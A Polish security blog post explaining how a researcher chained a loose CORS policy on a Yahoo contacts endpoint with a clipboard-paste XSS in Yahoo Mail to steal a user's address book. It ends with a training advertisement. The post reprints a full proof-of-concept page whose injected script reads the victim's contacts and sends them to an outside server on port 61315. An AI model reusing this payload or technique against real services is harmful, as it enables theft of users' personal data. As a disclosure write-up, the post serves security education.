Dzięki rozwojowi technik zabezpieczeń coraz częściej jeden błąd w aplikacji nie wystarcza, by uzyskać nieuprawniony dostęp i błędy trzeba łączyć, by osiągnąć upragniony cel. Nie inaczej jest w tej historii.
W dzisiejszym odcinku historia dwóch błędów, które wspólnie umożliwiały uzyskanie pełnej listy kontaktów użytkownika poczty Yahoo. Wykorzystując niebezpieczną konfigurację Cross Origin Resource Sharing oraz błąd XSS możliwe było odczytanie nazw, numerów telefonów, adresów i innych szczegółów wpisów w książce kontaktowej aktualnie zalogowanego użytkownika.
W poprzednich odcinkach
We wcześniejszych wpisach cyklu Poniedziałek z trenerem:
- dwa proste błędy w kodzie Facebooka,
- cztery błędy do zdalnego wykonania kodu,
- modyfikacja jednego parametru za 10 000 dolarów,
- ciekawe ataki na nagłówki wiadomości,
- wykonanie kodu na firewallach PaloAlto,
- jak można było przejąć dowolne konto VirusTotal.
Błąd w ustawieniach polityki CORS
Zaczęło się od przeglądania ruchu HTTP, który powstał podczas korzystania z usług Yahoo. Podczas przeglądania zakładki Target w Burp Suite badaczowi wpadł w oko adres:
https://proddata.xobni.yahoo.com/v4/contacts
głównie z powodu obiecującej nazwy domeny. Końcówka umożliwia dostęp do wszystkich danych kontaktów przy pomocy prostego żądania GET. Następnie okazało się, że ustawienia CORS dla wybranego adresu są mało restrykcyjne. W przypadku podania jako źródła dowolnej subdomeny yahoo.com, takie żądanie jest dozwolone. Można to było przetestować chociażby w ten sposób:
curl 'https://proddata.xobni.yahoo.com/v4/contacts' -s -H 'Origin: https://z3s.yahoo.com' --head
co skutkowało pojawieniem się w odpowiedzi następujących nagłówków:
Access-Control-Allow-Origin: https://z3s.yahoo.com
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Obecność Access-Control-Allow-Credentials powoduje, że Cookie będą również uwzględniane, a więc zalogowany użytkownik będzie automatycznie uwierzytelniany. Innymi słowy, kod uruchomiony pod dowolną subdomeną yahoo.com ma dostęp do listy kontaktów. Pozostało znaleźć sposób, by go wstrzyknąć – XSS gdzieś w adresie *.yahoo.com.
XSS poprzez wklejanie ze schowka
Po kilku dniach poszukiwań bez konkretnego efektu Corben odkrył, że @opnsec pochwalił się na Twitterze XSS-em. W tym czasie nie został on poprawiony przez Yahoo, prawdopodobnie z powodu tego, że do ataku potrzebna była nietypowa interakcja: skopiowanie dowolnego fragmentu ze złośliwej strony i wklejenie na stronie poczty. Po szybkim dostosowaniu payloadu do potrzeb prezentacji badacz zaraportował połączone błędy. Tym razem podatność została naprawiona, odkrywca otrzymał również stosowną nagrodę pieniężną. Co sprawiło, że Yahoo jednak zdecydowało się uznać podatność? Może to dzięki sugestywnej prezentacji udało się przekonać firmę o realnym zagrożeniu?
Oryginalny kod Proof of Concept:
<!doctype html> <head> <title>Yahoo CORS Misconfiguration</title> </head> <body> <h1>Yahoo CORS Misconfiguration</h1> <p>Stealing Contact information via CORS Misconfiguration + Yahoo Mail XSS via Copy/Paste</p> <h3>Prerequisites :</h3> - Tested on Windows 10 with Firefox 56, Chrome 62, Edge<br/> <h3>Instructions :</h3> 1. Select any text in this page and copy it using ctrl-C or right click -> copy <br/> <span>Copy status : </span><span id="copied">not copied yet</span> <br/> 2. Go to Yahoo Mail, compose a new email and paste inside the email body<br/> 3. All of your contact's information will be sent to my server on port 61315 <script> document.addEventListener('copy', function(e){ e.clipboardData.setData('text/plain', ''); e.clipboardData.setData('text/html','<div id="enhancr2_a" class="yahoo-link-enhancr-card">xxx</div><img src="x" onerror="document.write(\'<script>var xhttp=new XMLHttpRequest();xhttp.onreadystatechange = function() {if (this.readyState == 4 && this.status == 200) {document.location="http://example.com:61315"+escape(this.responseText);}};xhttp.open("GET","https://proddata.xobni.yahoo.com/v4/contacts",true);xhttp.withCredentials = true;xhttp.send();</script>\');">'); e.preventDefault(); document.getElementById("copied").textContent = "SUCCESSFULLY COPIED" }); </script>
Filmik odkrywcy prezentujący wykorzystanie podatności:
Źródło: http://www.sxcurity.pro/2018/01/11/chaining-yahoo-bugs/
Szkolenie z bezpieczeństwa aplikacji WWW
Korzystając z okazji serdecznie zapraszamy na kolejne z naszych szkoleń, już w lutym!
Czas trwania: 3 dni (20h), Prowadzący: Adam z z3s, Przemysław Sierociński
Liczba uczestników: maksymalnie 12 osób, cena: 3900 PLN netto